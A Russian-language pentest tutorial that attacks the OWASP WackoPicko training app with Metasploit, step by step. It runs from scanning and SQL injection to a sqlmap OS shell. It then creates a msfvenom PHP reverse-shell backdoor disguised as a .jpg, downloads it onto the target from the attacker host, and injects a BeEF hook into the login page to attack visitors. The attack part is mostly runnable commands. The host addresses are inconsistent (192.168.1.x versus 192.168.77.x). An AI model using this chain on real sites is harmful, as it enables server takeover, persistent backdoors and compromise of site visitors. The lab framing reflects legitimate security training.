Взлом сайтов с помощью Metasploit
21.01.2014
Обычно пентестер или хакер используют Metasploit для эксплуатации уязвимостей целевого сервера или для создания полезной нагрузки, чтобы загрузить бэкдор на взломанный сервер. Но Metastploit стал эффективнее с появлением плагинов и модулей, и теперь он может сделать значительно больше. А именно, он может быть использован для пентеста веб-приложений.
В этой статье я хочу показать вам, как использовать Metasploit для сканирования веб-приложений, получения информации о них и оценки уязвимостей.
Сценарий
Сейчас мы постараемся атаковать клиента, который использует уязвимый сервер. В качестве уязвимого сервера используется одно из веб-приложений OWASP Broken Web Application WackoPicko. Проект OWASP Broken Web Application представляет собой сборку уязвимых Web-приложений, предназначенных для обучения навыкам пентеста.
1. Машина атакующего - Backtrack 5 R3 192.168.1.137
2. Цель - веб-приложение WackoPicko 192.168.1.138
Этапы сканирования
Первым делом, когда Вы хотите взломать сервер, Вы должны получить как можно больше информации о цели. Поэтому первое, что Вы должны сделать, это просканировать сервер.
Metasploit имеет модуль "db_nmap", который используется для запуска Nmap (самый известный инструмент сканирования). Когда он получает результаты с Nmap, он заносит их в базу данных, специально для этого созданную. Следуйте этим инструкциям:
1. Откройте консоль Metasploit
root@bt:/ msfconsole
2. В консоли Metasploit введите команду db_nmap с IP-адресом целевой машины.
msf> db_nmap
msf > db_nmap 192.168.77.138
3. Вы можете проверить результаты сканирования командой "hosts".
msf > hosts -h
msf> hosts
4. Вы можете использовать команду «services» для получения деталей служб. Она имеет для отображения столбцы "создано, информация, имя, порт, протокол, состояние, обновлено".
msf > services -h
msf > services
msf> services -c port,name,state
Результат сверху показывает, какие веб-службы запущены на целевом сервере. Metasploit также имеет модуль для сканирования веб-сайта.
1. Возьмите модуль auxiliary/scanner/http/crawler.
msf> use auxiliary/scanner/http/crawler
2. Указываем цель параметром RHOST
msf auxiliary(crawler) > set RHOST 192.168.77.138
В этой статье мы фокусируемся на веб-приложении WackoPicko и зададим ему URI
msf auxiliary(crawler) > set URI /WackoPicko/
3. Начинаем сканирование веб-сайта
msf auxiliary(crawler) > run
На этом этапе Вы можете получить информацию о сервере и веб-приложении. На следующем этапе мы будем использовать эту информацию для атаки.
Этап эксплойта
На этом этапе мы попробуем атаку с модулем сканирования уязвимостей Metasploit и попытаемся использовать его с другим инструментом атаки.
Плагин WMAP
"WMAP является универсальным фреймворком сканирования веб-приложений для Metasploit 3. Его архитектура проста и ее простота - то, что делает его мощным. WMAP содержит другой подход по сравнению с остальными open source альтернативами и коммерческими сканерами, поскольку WMAP не сборка какого-либо браузера или паук для сбора и обработки данных".
Мы будем использовать этот модуль для сканирования уязвимостей веб-сайта.
1. Загрузка WMAP модулей
msf auxiliary(crawler) > load wmap
2. На предыдущем этапе мы уже сканировали веб-приложение и храним всю информацию в базе данных. WMAP плагин может прочитать ее, чтобы узнать структуру веб-приложения. И вы можете отобразить детали веб-приложения командой wmap_sites.
msf auxiliary(crawler) > wmap_sites
msf auxiliary(crawler) > wmap_sites -l
3. Если вы хотите увидеть структуру веб-приложения, вы можете использовать команду wmap_sites.
wmap_sites -s [target_id]
msf auxiliary(crawler) > wmap_sites -s 0
4. Теперь мы готовы к сканированию, поэтому мы будем определять цель веб-приложения командой wmap_targets.
msf auxiliary(crawler) > wmap_targets
msf auxiliary(crawler) > wmap_targets -t
5. Запускаем автоматический поиск уязвимостей командой wmap_run.
msf auxiliary(crawler) > wmap_run
msf auxiliary(crawler) > wmap_run -e
6. После окончания сканирования, Вы можете проверить результат командой wmap_vulns .
msf auxiliary(crawler)> wmap_vulns -l
Из результата мы узнаем некоторые уязвимости этого веб-приложения, такие как "уязвимый файл или каталог", "каталог администратора", "каталог резервных копий", "страница с уязвимостью SQL Injection" и т. д. Теперь вы можете попробовать атаковать исходя из этих результатов.
SQL-инъекция с помощью Metasploit
Если Вы хотите проверить, подвержен ли какой-либо параметр SQL-инъекции или нет, то Вы можете попробовать проверить его с помощью Metasploit. Для этого мы будем использовать модуль auxiliary/scanner/http/blind_sql_query.
1. После сканирования плагином WMAP, мы знаем, что страница http://192.168.77.138/WackoPicko/users/login.php имеет уязвимость SQL Injection и она имеет 2 параметра: username, password. Сейчас мы попытаемся проверить параметр username с помощью модуля auxiliary/scanner/http/blind_sql_query.
msf > use auxiliary/scanner/http/blind_sql_query
msf auxiliary(blind_sql_query) > show options
2. Указываем данные целевой страницы.
msf auxiliary(blind_sql_query) > set DATA username=hacker&password=password&submit=login
msf auxiliary(blind_sql_query) > set METHOD POST
msf auxiliary(blind_sql_query) > set PATH /WackoPicko/users/login.php
msf auxiliary(blind_sql_query) > set RHOSTS 192.168.77.138
3. Запускаем тестирование.
msf auxiliary(blind_sql_query) > run
Результат: параметр "username" имеет уязвимость SQL Injection. Вы можете проверить другую технику SQL инъекций [Error Based Technique] с помощью модуля auxiliary/scanner/http/error_sql_injection.
Теперь мы знаем параметр "username" страницы users/login.php, имеющий уязвимость, и мы используем эту уязвимость для завладения веб-сайтом с помощью sqlmap. SQLMap - известный инструмент для SQL-инъекций, прекрасно работающий с Metasploit.
1. Мы будем использовать 3 опции sqlmap для этой атаки.
-u URL url цели
-data=DATA Строка данных, отправляемая через POST-запрос
-random-agent Использование случайно выбранных HTTP User-Agent заголовков
-os-shell Вызов интерактивной оболочки операционной системы
2. Теперь запустим sqlmap с деталями, которые у нас имеются. После этой команды, если пользователь, использующий данное приложение (веб-сайт), имеет достаточно привилегий, мы сможем получить шелл. (ниже - вывод из процесса SQLMap для загрузки шелла.)
root@bt:/pentest/database/sqlmap# ./sqlmap.py -u
"http://192.168.77.138/WackoPicko/users/login.php" --data
"username=hacker&password=password&submit=login" --os-shell
При появлении:
'http://192.168.77.138:80/WackoPicko/users/home.php'. Do you want to follow?
Выбираем:
[Y/n] Y
Сейчас мы находимся в целевой машине и создадим бэкдор для легкого бэкконнекта и легкой компрометации этой машины.
3. Мы создадим бэкдор с помощью Metasploit (команда msfvenom).
root@bt:~# msfvenom
no options
Usage: /opt/metasploit/msf3/msfvenom [options] <var=val>
Опции:
root@bt:~# msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.77.137
LPORT=443 -f raw > /var/www/bd.php
root@bt:~# mv /var/www/bd.php /var/www/bd.jpg
4. В оболочке целевой машины скачайте бэкдор и измените его имя на bd.php.
os-shell> wget http://192.168.77.137/bd.jpg
5. Создайте обработчик для ожидания обратного соединения из bd.php.
root@bt:~# msfcli multi/handler PAYLOAD=php/meterpreter/reverse_tcp
LHOST=192.168.77.137 LPORT=443 E
6. Запустим бэкдор в веб-браузере. А теперь мы получили Meterpreter в нашей Metasploit консоли
Сейчас мы завладели компьютером и можем делать все, что хотим с помощью Metasploit. В дальнейшем мы будем использовать BeEF для компрометации жертв, которые посетят веб-сайт на этой машине.
Metasploit с BeEF плагином
И последним в этой статье мы будем использовать Metasploit с BeEF (Browser Exploit Framework).
1. Запускаем службу beef
root@bt:/pentest/web/beef# ./beef -x -v
2. Переходим к директории плагинов Metasploit и загружаем BeEF из “https://github.com/xntrik/beefmetasploitplugin.git”
$ cd /pentest/exploits/framework/msf3
$ git clone https://github.com/xntrik/beefmetasploitplugin.git
3. Перемещаем файл beef.rb в msf/plugins и lib/beef в msf/lib
$root@bt:/pentest/exploits/framework/msf3# mv beefmetasploitplugin/lib/beef lib/
$root@bt:/pentest/exploits/framework/msf3# mv beefmetasploitplugin/plugins/beef.rb plugins/
4. Устанавливаем hpricot,json gem
$ root@bt:/pentest/exploits/framework/msf3# gem install hpricot json
5. В Metasploit консоли загружаем BeEF плагин.
msf> load beef
6. Подключаемся к BeEF
msf> beef_connect
msf > beef_connect http://127.0.0.1:3000 beef beef
7. На этом шаге мы хотим запустить скрипт BeEF на любом клиенте, который посетит страницу входа. Возвращаемся к шеллу Meterpreter, который мы получили на последнем этапе атаки sqlmap. Скачиваем страницу login.php. Добавляем скрипт в файл и загружаем его на хост-машину.
meterpreter > download login.php .
root@bt:~# echo "[путь к скрипту через теги <script>]" >> login.php
meterpreter > upload login.php
Теперь при посещении жертвой страницы авторизации запустится скрипт BeEF.
8. Перейдем к веб-интерфейсу управления BeEF (http://127.0.0.1:3000/ui/panel), войдя с именем “beef” и паролем “beef”.
9. Если кто-нибудь посетит страницу login.php, то будет атакован BeEF и в левой панели отобразится список жертв.
Для просмотра подробностей о жертве кликните по списку и они появятся в правой панели.
Также мы можем проверить список жертв из консоли Metasploit командой beef_online.
msf > beef online
Если Вы хотите проверить подробности о жертве в консоли Metasploit, используйте команду beef_target.
msf > beef_target
msf > beef_target -i 0
10. Сейчас можно запустить BeEF с командой beef_target
msf > beef_target -c 0 47
После запуска команды beef_target в BeEF консоли, BeEF может использовать команду "Человек-в-браузере" для жертвы.
Заключение
Теперь вы знаете, что Metasploit можно использовать для пентеста веб-сайтов, хотя и ограниченно. Им нельзя проверить веб-приложения на все типы уязвимостей, но он расширяем за счет других инструментов. Например, проверить сайт на наличие XSS (Cross-Site Scripting) можно, используя связку Metasploit + BeEF. Metasploit он не может проверить наличие уязвимости Remote File Inclusion, но он может создать бэкдор для этого. В будущем, возможно, Metasploit сможет тестировать их все. Если вы хотите научиться атаковать компьютеры, Metasploit будет отличным выбором для изучения всех векторов атак на компьютер.